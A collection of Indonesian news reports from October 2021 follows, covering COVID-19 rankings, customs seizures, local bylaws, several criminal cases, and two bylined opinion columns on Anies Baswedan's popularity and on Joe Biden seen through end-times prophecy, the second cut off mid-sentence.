Jakarta, FNN - Ketua MPR RI Bambang Soesatyo mengapresiasi Indonesia menempati peringkat pertama dalam hal pemulihan dan penanggulangan COVID-19 di Asia Tenggara sebagaimana dirilis Nikkei Asia pada 30 September 2021. "Indonesia jauh lebih baik dibandingkan Singapura yang berada di posisi kedua Asia Tenggara," kata Bamsoet, sapaan akrabnya, usai menghadiri baksos dan vaksinasi dalam rangka HUT Ke-76 TNI sekaligus Pengabdian 33 Tahun TNI-Polri Akabri ’89, di Markas Besar TNI, Cilangkap, Jakarta Timur, Rabu. Sementara dalam urutan dunia, ujar Bamsoet, Indonesia berada di posisi ke-54 bersama Yordania, Meksiko, dan Korea Selatan. "Posisi tersebut terbilang cukup bagus karena pada Juli 2021, dari 121 negara yang masuk indeks Nikkei, Indonesia masih berada di peringkat 92," kata Bamsoet dikutip dari siaran pers. Bamsoet menekankan bahwa keberhasilan Indonesia menangani pandemi COVID-19 bukanlah karena kerja satu pihak saja, melainkan hasil gotong royong seluruh elemen bangsa, mulai dari pemerintah pusat dan daerah, kementerian/lembaga, masyarakat, serta didorong keluarga besar TNI-Polri. Bamsoet juga mengapresiasi capaian vaksinasi di Indonesia. Mengutip data Satgas COVID-19, hingga 12 Oktober 2021, dari 208,3 juta jiwa target sasaran vaksinasi COVID-19, vaksinasi pertama sudah dilakukan terhadap 101,4 juta jiwa, vaksinasi kedua 58,4 juta jiwa, serta vaksinasi ketiga untuk tenaga kesehatan sudah dilakukan kepada 1,1 juta jiwa. "Situs Our World Data mencatat hingga 11 Oktober 2021, Indonesia tercatat di peringkat keenam dunia sebagai negara yang paling banyak memberikan vaksin untuk warganya," katanya. Selain itu, kata Bamsoet, secara keseluruhan positivity rate kasus positif COVI-19 harian per 12 Oktober 2021 juga terus mengalami penurunan menjadi 0,66 persen. Jika hanya berdasarkan tes swab PCR dan TCM, maka positivity rate sebesar 2,19 persen. Sudah sesuai standar yang diterapkan WHO, yakni positivity rate di bawah 5 persen. "Di tengah berbagai kabar gembira tersebut, kita tetap harus waspada mengingat pandemi COVID-19 masih jauh dari selesai," kata Bamsoet. Ia pun mengutip epidemiolog Universitas Griffith Australia Dicky Budiman yang memprediksi gelombang ketiga COVID-19 di Indonesia akan terjadi pada Desember 2021. "Agar prediksi tersebut tidak menjadi kenyataan, maka seluruh elemen bangsa harus tetap bergotong royong menyukseskan vaksinasi dan tetap taat menjalankan protokol kesehatan," ujar Bamsoet. (sws)

Bea Cukai Kudus Selamatkan Potensi Kerugian Negara Rp7,3 Miliar

Kudus, FNN - Kantor Pengawasan dan Pelayanan Bea dan Cukai (KPPBC) Tipe Madya Cukai Kudus, Jawa Tengah, berhasil menyelamatkan potensi kerugian negara dari hasil penindakan selama triwulan kedua 2021 sebesar Rp7,3 miliar. "Adapun nilai barang bukti yang berhasil diamankan sebesar Rp11,1 miliar dari total barang bukti yang diamankan berupa rokok tanpa dilekati pita cukai atau dengan pita cukai diduga palsu sebanyak 10,8 juta batang," kata Kepala Seksi Penyuluhan dan Layanan Informasi KPPBC Tipe Madya Kudus Dwi Prasetyo Rini di Kudus, Rabu. Ia mencatat selama triwulan ketiga tahun 2021 berhasil menindak 75 kali kasus pelanggaran pita cukai rokok di berbagai daerah yang menjadi wilayah kerja KPPBC Kudus. Jumlah pengungkapan tersebut masih lebih rendah dibandingkan tahun 80 kasus dengan jumlah barang bukti sebanyak 18,48 juta batang rokok. Dari puluhan kasus pelanggaran pita cukai rokok, terbanyak dari Kabupaten Jepara yang hampir setiap tahun mendominasi temuan kasus. Jumlah penindakan pelanggaran pita cukai rokok tersebut, dipastikan bertambah karena pada bulan Oktober 2021 juga sudah beberapa kali melakukan penindakan rokok ilegal. Adanya penindakan tersebut, diharapkan KPPBC Kudus bisa mencegah rokok ilegal tidak sampai beredar di pasaran, dan potensi kerugian negara yang berupa pungutan cukai dan PPN hasil tembakau dapat diselamatkan. Dalam rangka menyadarkan masyarakat di Kabupaten Jepara agar tidak terlibat dalam peredaran rokok ilegal, pemda setempat juga berupaya mensosialisasikan tentang pemberantasan rokok ilegal bersama dengan KPPBC Kudus. Selain itu, pemda setempat juga berencana membangun kawasan industri hasil tembakau (KIHT) untuk menampung para pengusaha ilegal agar menjadi legal. Bahkan, Pemkab Jepara juga berkomitmen memberikan kemudahan izin bagi pelaku peredaran rokok ilegal yang ingin membuat usaha rokok secara legal. Harapannya hal itu bisa menekan angka kasus peredaran rokok ilegal. (sws)

Kemenkumham Kalbar Dorong Harmonisasi Raperda Kabupaten Sekadau

Pontianak, FNN - Kantor Wilayah Kementerian Hukum dan HAM Kalimantan Barat melalui Bidang Hukum mendorong dan melakukan koordinasi harmonisasi Rancangan Peraturan Daerah (Raperda) di Kabupaten Sekadau, Selasa. Kepala Bidang Hukum Kanwil Kemenkumham Kalbar, Edy Gunawan di Sekadau, mengatakan bahwa koordinasi itu dilaksanakan dalam rangka mendorong kerja sama pihaknya dengan DPRD Sekadau dalam fasilitasi pembentukan produk hukum daerah. "Selain itu juga mendorong Badan pembentukan peraturan daerah (Bapemperda) untuk mengharmonisasikan Raperda Inisiatif DPRD ke Kanwil Kemenkumham Kalbar, sebelum dilakukan pembahasan dengan eksekutif," katanya. Tim Kanwil Kemenkumham Kalbar dipimpin Kepala Bidang Hukum, Edy Gunawan didampingi Kasubbid Fasilitasi Pembentukan Produk Hukum Daerah Kanwil Menkumham Kalbar Dini Nursilawati berkoordinasi dengan DPRD Kabupaten Sekadau. Tim tersebut disambut Sekretaris DPRD Kabupaten Sekadau, Sapto Utomo, Kabag Hukum dan Persidangan Zulkifli serta anggota Bapemperda DPRD Kabupaten Sekadau Bambang Setiawan. Dia menambahkan, anggota Bapemperda DPRD Kabupaten Sekadau menyambut baik kehadiran pihaknya dan berharap ke depan dapat meningkatkan kerja sama dalam pembentukan produk hukum daerah yang dapat dilaksanakan dan bermanfaat bagi masyarakat. Selain itu, tim juga bertemu Bagian Hukum Sekretariat Daerah Kabupaten Sekadau yang disambut oleh Kepala Bagian Hukum Setda Kabupaten Sekadau, Radius dan Plt Kasubbag Perundang-undangan Etna. Kabag Hukum Sekda Kabupaten Sekadau, Radius menyampaikan bahwa untuk program pembentukan perda tahun 2021 direncanakan sebanyak 12 raperda, dimana delapan raperda sudah diharmonisasikan ke Kanwil Menkumham Kalbar pada tahun 2020 dan sudah disetujui bersama antara eksekutif dan legislatif. "Sedangkan sisanya empat raperda sedang dievaluasi apakah akan dibahas tahun ini atau ditunda," katanya. Dia menyatakan, diperkirakan yang akan dilanjutkan adalah Raperda tentang RPJMD tahun 2021-2025, sedangkan tiga lainnya yaitu Raperda Wajib Belajar 9 Tahun, Pendidikan PAUD dan pemajuan Kebudayaan akan dibahas di tahun 2022. Selain itu Radius juga menyampaikan masih banyaknya perangkat daerah yang kurang memahami proses pengajuan rancangan peraturan daerah, sehingga perlu dilakukan sosialisasi yang lebih gencar lagi. (sws)

Kejari Jambi Terima Tersangka Penggelapan Data Pertamina EP Jambi

Jambi, FNN - Kejaksaan Negeri (Kejari) Jambi menerima pelimpahan berkas perkara dan lima tersangka kasus penipuan atau penggelapan data laporan kerja sama pengeboran minyak oleh rekanan dengan anak perusahaan Pertamina yakni Pertamina EP Jambi, dari Kejaksaan Agung (Kejagung). Dalam kasus itu kerugian mencapai Rp6 miliar lebih selama tujuh tahun. Kepala Seksi Tindak Pidana Umum (Kasi Pidum) Kejari Jambi Irwan S, di Jambi, Rabu, mengatakan hari ini jaksa penuntut umum menerima pelimpahan berkas perkara dan tersangka dari penyidik Kejagung atas kasus penipuan atau penggelapan data kerja sama antara rekanan dengan Pertamina EP Jambi, dan lima tersangka langsung ditahan untuk proses persidangan di pengadilan. "Hari ini kami menerima pelimpahan tahap dua dari penyidik Kejagung untuk empat berkas perkara dengan lima orang tersangka B, RB, AS, DBF dan S atas kasus penggelapan, pemalsuan surat di sebuah anak perusahaan Pertamina yaitu Pertamina EP Jambi," kata Irwan. Kelima tersangka oleh Jaksa Penuntut Kejari Jambi ditahan dengan dititipkan ke sel tahanan Polresta Jambi guna proses pelimpahan ke pengadilan dalam proses persidangan nanti. Kasus ini terjadi dari 2011-2018 dengan modus operandinya, para pelaku sebagai rekanan Pertamina EP Jambi melakukan kerja sama dalam bentuk pengeboran atau pengolahan minyak mentah secara fiktif yang hasil kerjanya dibebankan pembayarannya dengan anak usaha Pertamina ini. Irwan menjelaskan, dia memang ada kerja sama dan ada kontrak antara Pertamina dan para kontraktor tersebut, dan ke belakang ini akhirnya mereka memanipulasi data yang seharusnya misalnya hari ini bisa mendapat berapa barel minyak hasil pengeboran dilaporkannya tidak sesuai atau dikurangi. "Dan bahkan ada beberapa titik lokasi yang bulan-bulan tertentu tidak ada pengeboran, malah dibilang ada pengeboran, tetapi beban anggaran beban pembayarannya tetap ditagihkan ke Pertamina." kata Irwan S. Namun pada akhirnya 2015 , anak usaha Pertamina itu, Pertamina EP Jambi melakukan investigasi internal yang didapatkan ketidaksinkronan data yang disebabkan oleh perbuatan kelima tersangka sebagai perusahaan rekanan yang melakukan pengeboran minyak tersebut di Jambi. Perusahaan yang mengadakan kontrak dengan Pertamina itu adalah PT Westreng Petroleum kemudian PT Gorindo yang mengadakan kontrak dengan Pertamina, untuk bekerjasama dalam bidang pengeboran di Jambi selama beberapa tahun, akhirnya ditetapkan sebagai tersangka. Atas perbuatannya para tersangka dikenakan Pasal 263 ayat 1 KUHP juncto Pasal 55 ayat 1, juncto Pasal 64 ayat 1 KUHP tentang pemalsuan dokumen itu, dengan alternatif yang kedua para tersangka disangkakan Pasal 263 ayat 2 KUHP juncto Pasal 55 juncto Pasal 64 ayat 1 KUHP tentang penggelapan dan pasal 378, Pasal 55 ayat 1 KUHP dengan ancaman hukuman maksimal empat tahun penjara. (sws)

Polisi Tangkap Mantan Anggota Polri Jadi Pengedar Ganja

Rejang Lebong, Bengkulu, FNN - Kepolisian Resor (Polres) Rejang Lebong, Polda Bengkulu menangkap seorang mantan anggota Polri yang diduga menjadi pengedar dan pelaku penanaman ratusan batang ganja dalam polybag di wilayah itu. Kapolres Rejang Lebong AKBP Puji Prayitno diwakili Kasat Reskrim AKP Sampson Sosa Hutapea didampingi Kasat Reserse Narkoba Iptu Susilo, di Rejang Lebong, Rabu, mengatakan tersangka yang ditangkap sekitar pukul 12.30 WIB tersebut berinisial AY (39), warga Jalan Batu Galing, RT01 RW04, Kelurahan Batu Galing, Kecamatan Curup Tengah. Pengungkapan kasus peredaran dan penanaman ganja itu, kata Sampson, dilakukan oleh tim gabungan reskrim dan satuan narkoba serta resmob ini berawal dari laporan pencemaran nama baik yang dilakukan tersangka di media sosial. "Tim gabungan satreskrim, satnarkoba dan resmob berhasil mengungkap kasus narkotika jenis ganja, pelaku juga menjadi tersangka pelanggaran Undang-Undang ITE berupa pencemaran nama baik. Terduga pelaku ini merupakan mantan anggota," kata dia. Dia menjelaskan, pengungkapan kasus itu berawal dari pengusutan kasus pelanggaran UU ITE yang diduga dilakukan tersangka, dengan cara mendatangi kediaman AY, dan saat dilakukan penggerebekan untuk mencari barang bukti HP dan laptop yang digunakan tersangka, petugas menemukan ganja kering dan tanaman ganja yang ditanam dalam polybag. Kasat Reserse Narkoba Polres Rejang Lebong Iptu Susilo menambahkan dari rumah tersangka AY ini, petugas menemukan barang bukti berupa tanaman narkotika jenis ganja yang baru ditanam dalam 160 polybag serta ganja siap pakai sebanyak 160 paket ukuran kecil. Sejauh ini pihaknya, kata Susilo, masih melakukan pendalaman terkait dengan kepemilikan tanaman ganja dan ganja siap pakai itu. Ujang Bani, Ketua RT01 RW04 Kelurahan Batu Galing menyebutkan tersangka ini sudah beberapa tahun belakangan tidak lagi menjadi anggota Polri, dan sejak beberapa bulan telah bercerai dengan istrinya. "Kalau dia pakai narkoba kita tidak tahu, memang dia ini sering meresahkan warga sini seperti berkata-kata kasar di media sosial, sehingga ada yang melapor kepada saya," katanya pula. (sws)

Kejati Bali Tahan Oknum Mengaku Jaksa Kejagung RI Menipu

Denpasar, FNN - Kejaksaan Tinggi (Kejati) Bali menahan seorang berinisial SM yang mengaku sebagai Jaksa Agung Muda Intelijen bekerja di Kejaksaan Agung (Kejagung) RI, diduga untuk melakukan penipuan. "Motifnya ngaku jadi jaksa ya biar mempermudah orang (korban) percaya, sehingga berpikir ah sudah bertemu dengan aparat penegak hukum, pasti bisa membantu permasalahannya," kata Kepala Seksi Penerangan Hukum Kejati Bali A Luga Harlianto saat konferensi pers, di Kejari Denpasar, Bali, Rabu. Luga menjelaskan awalnya ada laporan permintaan konfirmasi terkait identitas SM yang mengaku sebagai jaksa pada 11 Agustus 2021. Selama mengaku sebagai jaksa, SM diduga melakukan penipuan terhadap korban berinisial LR dengan kerugian mencapai Rp256.510.000. "Kenapa bisa kenal korban, karena saling dikenalin dari teman ke teman, nah selama kenal tahu kalau tersangka ini jaksa," katanya pula. Dari perkenalan itu, korban LR bertemu dengan SM dan menceritakan masalah hukum perdata yang sedang dialaminya kepada SM. SM yang sebenarnya berprofesi sebagai dokter ini, menawarkan diri kepada LR untuk membantu menyelesaikan masalah hukumnya. ​​ "Supaya meyakinkan kemampuannya, maka SM mengaku adalah jaksa yang bertugas di Kejaksaan Jakarta dan menunjukkan Surat Keterangan Perjalanan kepada SM yang tertera sebagai Direktur Tindak Pidana Khusus Bidang Politik Keamanan," katanya lagi. Dari surat itu, lalu LR percaya bahwa SM sebagai jaksa dan menyerahkan uang secara bertahap kepada SM dengan jumlah keseluruhan Rp256.510.000. Luga menegaskan SM bukanlah seorang jaksa, dan Surat Keterangan Perjalanan atas nama SM bukanlah produk Jaksa Agung Muda Intelijen dan tidak ditandatangani oleh Jaksa Agung Muda Intelijen. Setelah itu, dilakukan pengecekan dan terkonfirmasi bahwa SM bukan pegawai Kejaksaan RI, dilanjutkan dengan identifikasi keberadaan SM sehingga diperoleh keberadaan SM di Kota Denpasar, Bali. "Dari tim Intelijen Kejati Bali melakukan pengintaian terhadap keberadaan SM di sebuah rumah di Kota Denpasar. Lalu, SM berpindah meninggalkan rumah tersebut. Tidak selang berapa lama Intelijen Kejati Bali mengamankan SM di Jalan Kebo Iwa, Denpasar pukul 20.30 WITA," ujarnya pula. Selanjutnya, SM diserahkan kepada Polresta Denpasar untuk diproses penyidikan, dan dilakukan penahanan oleh penyidik Polresta Denpasar selama 20 hari ke depan. Ia mengatakan kurang lebih selama dua bulan dilakukan penyidikan terhadap tersangka SM, jaksa yang mengikuti perkembangan penyidikan menyatakan berkas lengkap (P-21). Atas perbuatannya, tersangka dikenakan Pasal 372 KUHP atau Pasal 378 KUHP dengan ancaman pidana paling lama 4 tahun. "Hari ini sudah dilakukan penyerahan tahap II tersangka dan barang bukti. Dari tersangka juga membenarkan identitas dan barang bukti terkait perkara ini," kata Luga menjelaskan. (sws)

KY: Perbandingan Dengan "HCJ" Penting untuk Penguatan Lembaga

Jakarta, FNN - Ketua Bidang Sumber Daya Manusia (SDM), Advokasi, Hukum, Penelitian dan Pengembangan Komisi Yudisial Binziad Kadafi mengatakan bahwa perbandingan dengan the Belgian High Council of Justice (HCJ) penting untuk dilakukan dalam kerangka penguatan kelembagaan Komisi Yudisial. "Terutama dengan memberikan titik tekan pada beberapa faktor pembanding yang dapat dijadikan pembelajaran," kata Kadafi yang dikutip dari laman resmi Komisi Yudisial di Jakarta, Rabu. Kadafi mengatakan bahwa baik HCJ maupun KY adalah buah langsung dari gerakan reformasi. Kedua lembaga tersebut mengemban ekspektasi publik yang tinggi untuk mendorong integritas peradilan dan memulihkan kepercayaan publik pada pengadilan. "Ditambah lagi, keduanya dibentuk di tengah sistem ketatanegaraan yang konvensional, terutama dalam konteks pemisahan kekuasaan," ucap Kadafi ketika memberi paparan dalam seminar bertajuk "The Judicial Commissiom and the Independence of Judiciary: Lessons Learned from Indonesia and Belgium," Selasa (12/10). KY dan HCJ menyandang posisi sebagai lembaga mandiri yang bebas dari pengaruh kekuasaan mana pun, atau dalam istilah HCJ, merupakan lembaga sui generis yang kadang terjadi kesalahpahaman secara sepihak dengan yang mengkualifikasikan lembaga tersebut sebagai organ pendukung negara. Meskipun kedua lembaga tersebut dibentuk dengan kerangka hukum yang sangat kuat, yaitu konstitusi dan undang-undang, tutur Kadafi melanjutkan, tetapi tantangan kerap muncul dalam dinamika hubungan dengan lembaga peradilan, khususnya terkait penentuan batas-batas kewenangan. Keadaan tersebut menjadi potensi adanya tumpang tindih kewenangan, namun di sisi lain, juga dapat menjadi peluang kolaborasi. "Faktor pembelajaran lain yang perlu diperhatikan adalah kontestasi yang inheren, terutama dari komposisi dan kualifikasi keanggotaan, di mana keanggotaan KY dan HCJ terdiri dari unsur hakim, praktisi hukum, akademisi hukum, dan masyarakat, yang mensyaratkan pola kepemimpinan serta mekanisme pengambilan keputusan yang kolektif kolegial," tambahnya. Meski kewenangan keduanya bisa berbeda, seperti kewenangan advokasi hakim yang khas KY, tetapi terdapat beberapa prinsip dan kewenangan dasar yang dapat ditarik sebagai ciri utama judicial councils seperti HCJ dan KY, yaitu posisi dan komposisinya, kewenangan dalam menyelenggarakan seleksi hakim yang objektif, kewenangan dalam melakukan pengawasan terhadap hakim, serta kontribusi aktif bagi reformasi peradilan. “Satu-satunya pilihan untuk memperkuat peran KY bagi perwujudan independensi peradilan ke depan adalah meningkatkan relevansinya dengan menjadi lembaga yang semakin efektif dan efisien," tutur Kadafi menjelaskan. KY akan terus relevan karena fungsi pengawasan terhadap independensi peradilan yang dijalankannya berbasis pada argumen akuntabilitas demokrasi, dorongan ketaatan hakim terhadap hukum, dan dorongan kepatuhan hakim pada etika dan pedoman perilaku. Relevansi tersebut harus ditingkatkan dengan menjadikan KY berorientasi pada pelayanan prima, customer focused, memiliki desain organisasi yang meskipun ramping (kecil), tetapi smart, yakni berbasiskan penelitian dan data, dan terus mengembangkan jejaring, termasuk dunia akademik, masyarakat sipil, KY negara sahabat dan komunitas KY internasional.(sws)

Popularitas Anies Baswedan, Bagai Sisi Mata Uang Tak Serupa

Oleh Ady Amar *) ANIES Baswedan, Gubernur DKI Jakarta, memang unik. Ya, unik yang sebenarnya. Pak Anies masuk dalam kategori orang paling populer dibicarakan. Itu jika dibandingkan dengan Ganjar Pranowo, Gubernur Jawa Tengah, Ridwan Kamil, Gubernur Jawa Barat, dan bahkan terhadap Puan Maharani, Ketua DPR-RI yang sekaligus orang yang digadang-gadang PDIP untuk maju di perhelatan Pilpres 2024. Membicarakan Anies Baswedan, Ganjar Pranowo, Ridwan Kamil dan Puan Maharani, terutama di media online, itu pastilah tidak membicarakan kerja-kerja terukurnya selama menjadi orang nomor satu di masing-masing provinsinya, dan di parlemen (Puan Maharani). Pembicaraan tentang mereka menjadi bervariasi. Menarik mencermati paparan Ismail Fahmi, pendiri Drone Emprit, lewat diskusi daring yang diadakan Pemprov DKI, Selasa 12 Okrober 2021. Menurut temuannya, yang dihitung dari total mentions dari berbagai kanal media online dan Twitter dari Januari hingga September 2021, Anies Baswedan memuncaki volume percakapan dibanding Ganjar Pranowo, Ridwan Kamil dan Puan Maharani. Oh iya, uniknya di mana? Paling dibicarakan itu bisa pula disebut paling populer. Tapi kepopuleran seorang Anies itu dibarengi dengan tingginya sentimen negatif terhadapnya. Artinya, Anies dibicarakan dengan tidak baik. Dalam hal ini, Anies pun memuncaki daftar dengan nilai 37 persen, disusul Ridwan Kamil 23 persen dan Ganjar 20 persen. Itulah uniknya. Membicarakan Anies Baswedan bagai sisi mata uang tak serupa, pembicaraan dengan baik di satu sisi, tapi tidak di sisi lainnya, itu bisa dilihat dari peta Social Network Analysis (SNA) yang dibuat. Hasil SNA tentu tidak saja untuk Anies Baswedan tapi juga untuk ketiganya, yang mengindikasikan bahwa Puan belum banyak dibicarakan oleh pendukung organiknya. Selanjutnya, pembicaraan soal Ridwan Kamil, mayoritas dibicarakan oleh pendukungnya. Sedang pembicaraan tentang Ganjar Pranowo, mayoritas dilakukan oleh pendukungnya. Dan tentu yang muncul adalah sentimen positif buatnya. Pembicaraan tentang Anies Baswedan, temuan peta SNA, menjadi menarik dicermati. Pembicaraan tentangnya, baik oleh kelompok yang Pro pada Pak Anies, tapi juga pembicaraan oleh kelompok yang Pro pada Pak Ganjar. Tentu yang dibicarakan tentang Pak Anies oleh kelompok yang Pro pada Pak Ganjar, kata lain dari kelompok yang kontra pada Pak Anies, tentu memunculkan sentimen negatif. Dijlentrehkan temuan yang cukup mencengangkan, bahwa dari Top 5 influencer yang membicarakan Anies, ternyata tidak diisi semua oleh pendukungnya. Bahkan pembicaraan pada Pak Anies pada peringkat 1 diduduki oleh yang kontra, yaitu @Dennysiregar7 dan peringkat 3 diduduki @FerdinandHaean3. Sedang influencer yang Pro Anies adalah @OposisiCerdas, @Mdy_Asmara1701, dan akun media sosial Anies Baswedan sendiri, @aniesbaswedan. Anies Baswedan menjadi pihak yang konsisten diserang. Tampak dari Top 5, itu ada Denny Siregar dan Ferdinand Hutahaean. Dua orang ini memang aktif menyerang Anies Baswedan. Sepertinya tiada hari tanpa menyerang Anies. Seperti mesin yang digerakkan. Itu belum lagi pembicaraan negatif oleh influencer atau buzzerRp lainnya, yang terlalu banyak jika disebut namanya. Mereka bekerja untuk pembusukan Anies Baswedan. Masyarakat yang melihat Pak Anies secara netral bisa juga terpengaruh oleh serangan membabi buta para buzzerRp, itu jika kelompok Pro Pak Anies tidak cepat merespons memberi tanggapan secara cerdas dan terukur. Masyarakat harus terus disadarkan dengan data-data, agar tidak ada celah mempercayai kabar dusta dan busuk tentang Anies Baswedan. Potensi Anies yang Diperhitungkan Popularitas Anies Baswedan jika tidak dimenej secara baik, maka itu semacam pepesan kosong. Populer pada Anies Baswedan, itu juga populer dibicarakan dengan tidak semestinya, itu jika melihat peta SNA, dimana pembicaraan tentang Anies (dibicarakan) dengan baik dan buruk. Pembicaraan Anies dengan baik, itu tentu mengacu pada kerja-kerja terukurnya dalam memenuhi janji kampanye saat Pilkada DKI, 2017. Janji itu tampak dipenuhinya satu per satu, dan itu nyata. Sedang yang membicarakan Anies dengan buruk, itu pastilah mereka yang itu-itu saja, tapi cukup efektif mengaburkan karya-karya Anies Baswedan dalam membangun Jakarta. Sedang pembicaraan Anies Baswedan dengan buruk, itu tidak ditunjang data dan lebih pada fitnah. Pembicaraan pada Anies yang tampak tidak ada baik-baiknya. Dan itu terus menerus disorongkan pada publik. Anies Baswedan masih Gubernur DKI Jakarta, ia belum memproklamirkan diri bakal maju sebagai Capres. Anies memang pribadi yang pantang tebar pesona, bagian dari curi start jalan menuju 2024. Anies tetap berasyik masyuk dan larut dalam kerja yang memang seharusnya dikerjakan. Setidaknya nalar sehat publik bisa melihat itu semua. Anies memang bukan Ganjar, yang setidaknya sudah bergerak lebih dulu. Lebih nekat menampakkan ambisinya sebagai RI-1. Tidak masalah, itu pilihan Pak Ganjar. Meski lantas itu buat PDIP, jadi jengah lihat sikapnya. Ganjar seolah mengabaikan partainya. Ia jalan sendiri dengan dukungan para relawannya yang bertumbuh. Dukungan pun muncul dari para relawan yang dulu menjadi relawan Presiden Jokowi. Seolah Ganjar dihadirkan sebagai titisan Jokowi, penerus Presiden Jokowi untuk RI-1. Setidaknya itu yang tampak. Sikap Ganjar Pranowo itu tentu tidak berdiri sendiri, tidak semacam Anies Baswedan, setidaknya Ganjar aman-aman saja dari serbuan para buzzerRp. Itu jika menilik peta NSA, dimana yang membicarakan Anies dengan buruk, lebih banyak dengan tebar fitnah dan bahkan pernyataan rasisme, itu adalah pendukung Ganjar Pranowo. Temuan peta sebaran NSA dari Ismail Fahmi itu tentu bisa disanggah, bahwa itu tidak benar. Silahkan saja, itu disanggah dengan data. Bagus jika data disanggah dengan data. Disebut pendukung Ganjar Pranowo, pembicaraan tentang Anies Baswedan dengan sentimen negatif, tentu itu belum pasti "binaan" resmi Pak Ganjar sendiri. Jangan-jangan ia tidak tahu kalau ada tim siluman yang bekerja untuk dirinya, dan itu untuk memberi stempel negatif pada Pak Anies Baswedan. Pertanyaan susulannya, kenapa pembicaraan sentimen negatif itu terus-menerus diarahkan pada Pak Anies semata, tidak pada Pak Ridwan Kamil. Itu pastilah lebih pada bahwa Pak Anies Baswedan dianggap lebih sebagai pesaing riil, bahkan menjadi lawan berat di 2024, yang itu jauh-jauh hari mesti diganjal. Anies Baswedan seolah menjadi musuh bersama dikeroyok ramai-ramai. Semua pihak seolah punya potensi mengganjalnya. Pak Anies tetap cool melihat ganjalan-ganjalan yang dimunculkan. Sampai menggelar Formula E, yang itu semestinya direspons baik semua pihak, itu justru dialami Pak Anies dengan berkebalikan. Publik melihat, mengganjal perhelatan itu sudah sangat berlebihan. Sampai Ketua DPRD DKI, Prasetio Marsudi, perlu mengumbar narasi yang tidak semestinya untuk menghentikan perhelatan itu. Terakhir penolakan Komisi Pengarah Pembangunan Kawasan Medan Merdeka, jadi arena Formula E. Anies pun tidak mempermasalahkan larangan itu, dan dapat menerimanya. Anies Baswedan terus diuji. Mental kuat dengan kualitas emosi yang dipunya, terus disasar untuk diruntuhkan. Dan Anies membalas dengan seolah tidak terjadi apa-apa, seperti tidak menghiraukan serangan-serangan yang coba ingin menghentikan langkahnya. Ia tetap berjalan dengan rencana yang sudah dirancang dengan perhitungan matang. Perjalanan menuju 2024 masih panjang, tapi satu pihak sudah ancang-ancang seolah ingin melompati waktu ingin segera sampai di sana. Dan Pak Anies Baswedan tetap memilih mengabdi menjalankan amanah sebagai Gubernur DKI Jakarta. Ia tetap tenang-tenang saja, tidak menghiraukan pembicaraan buruk tentangnya. Setidaknya, ia belum bekerja menuju 2024, tapi sudah dinyatakan sebagai yang paling populer. Dan pada saatnya pembicaraan buruk tentangnya itu akan menemui titik jenuh, dan pastilah memilih untuk menyudahinya... Wallahu a'lam. (*) *) Kolumnis

Secercah Cahaya Joe Biden dalam Perspektif Nubuat Akhir Zaman

Oleh: Anwar Hudijono Ada dua langkah sangat penting dan bermakna Presiden Amerika Serikat Joe Biden. Pertama, mengakhiri 20 tahun penjajahan Amerika atas Afghanistan. Kedua, menyerukan kemerdekaan bagi rakyat Palestina dari penjajahan Israel. Langkah Biden ini ibarat ia membuat lobang agar cahaya bisa masuk ke dalam goa (kahfi) yang sangat luas dan gelap pekat. Biarpun besarnya lobang itu ibarat masih sebesar sebutir kacang ijo tapi bisa menjadi entry point untuk terus memperlebarnya. Artinya Biden sudah membuka dirinya dari cahaya (nur) rahmat Allah. Implikasinya, jika dia mendapat rahmat akan bisa menyelamatkan Amerika dari azab Allah. Mendorong perubahan tata dunia baru yang benar dan adil. Menurut kalkulasi berdasar nubuwat akhir zaman, insya Allah, Amerika ini termasuk waiting list (daftar tunggu)azab Allah karena perbuatannya yang fasad (merusak) kehidupan global. Bukankah Amerika adalah biang utama kerusakan dunia sehingga penuh ketidak-benaran, kedzaliman, penindasan, kerusakan alam lingkungan, hancurnya nilai-nilai manusia, LGBT, mengguritanya riba. Amerika justru menjadi penghela utama kehidupan global dari cahaya menuju kegelapan. Bahkan boleh dibilang menjadi pemimpin golongan mufsidun (orang-orang yang membuat kerusakan di atas bumi).Dipersepsi bahwa Amerika adalah Yakjuj dan Makjuj modern. Bapak revolusi Islam Iran Imam Khomeini menyebut Amerika adalah setan besar. Noam Chomsky Kefasadan Amerika sudah banyak sekali dibuka secara jujur dan terbuka. Misalnya oleh filosuf Amerika Noam Chomsky, veteran wartawan Chris Hedges dan banyak lagi. Mereka mulat salira hangroso wani (berani melakukan instropeksi). Seperti nasib orang-orang yang berani menyampaikan sikap kritis di belahan dunia, mereka dibenci, dicela, dimusuhi oleh rejim beserta para cecunguknya. Perbuatan fasad Amerika di antaranya melakukan penjajahan atas Afghanistan selama 20 tahun. Menyisakan kerusakan, kehancuran seperti kemiskinan absolut, tradisi korupsi, LGBT, bisnis opium yang menggurita, bangsa yang terpecah-pecah. Amerika ibarat ulat yang meninggalkan daun yang dimangsanya hingga compang-camping. Jauh sebelum itu Amerika membunuh ratusan ribu manusia tidak berdosa dengan nuklir di Hiroshima dan Nagasaki. Amerika-lah bangsa pertama yang menggunakan bom nuklir. Melakukan perusakan, pembantaian jutaan manusia di Vietnam, Irak, Suriah, Pelestina, Laos dan belahan dunia lain. Amerika menjadi biang kerok pecah belah umat manusia. Konsisten bersikap mendua. Hiprokrit. Pada satu sisi menyerukan pluraitas, pada sisi lain mau menyeragamkan kehidupan seluruh dunia menurut falsafahnya (helenisme). Menyerukan demokrasi tapi juga menjadi pelindung tirani. Katanya menjadi pendekar penegakan HAM, tapi nyatanya justru jadi perudakpaksa HAM. Amerika pula yang menjadi pemantik permusuhan, badai kebencian terhadap Islam di seluruh dunia. Merekayasa fobia Islam di seluruh jagat. Islam diidentikkan dengan terorisme. Terminologi jihad, radikalisme, ekstrimisme dikemas diolah sebegitu rupa untuk menghancurkan jatidiri Islam. Rahmatan lil alamin Islam dibalik sebegitu rupa seolah Islam itu bencana dunia. Bahkan kaum muslimin pun sampai-sampai dibuat harus memegang agamanya seperti menggenggam bara api. Palestina Amerika selama ini selalu bersekutu dengan Israel. Menjadi pelindung Israel yang menindas rakyat Palestina. Yang melakukan kolonisasi di Dataran Tinggi Golan, Suriah. Melakukan terorisme di seluruh dunia. Amerika selalu menveto setiap keputusan PBB berkaitan dengan kejahatan Israel. Sampai-sampai Noam Chomnsky menyebut sejatinya Amerika adalah teroris nomor satu dunia. Mudah-mudahan seruan Biden tentang kemerdekaan rakyat Palestina yang disampaikan di Sidang Umum PBB 2021 itu didasari pengakuan dosa bahwa tindakan Amerika salah besar. Jika tidak bertobat dan diperbaiki akan merugikan Amerika sendiri. Berdampak turunnya azab yang super dahsyat dari Tuhan. Tentu persoalannya tidak sesederhana itu. Bukan hanya rakyat Pelestina harus merdeka, tetapi juga harus mengevaluasi eksistensi negara 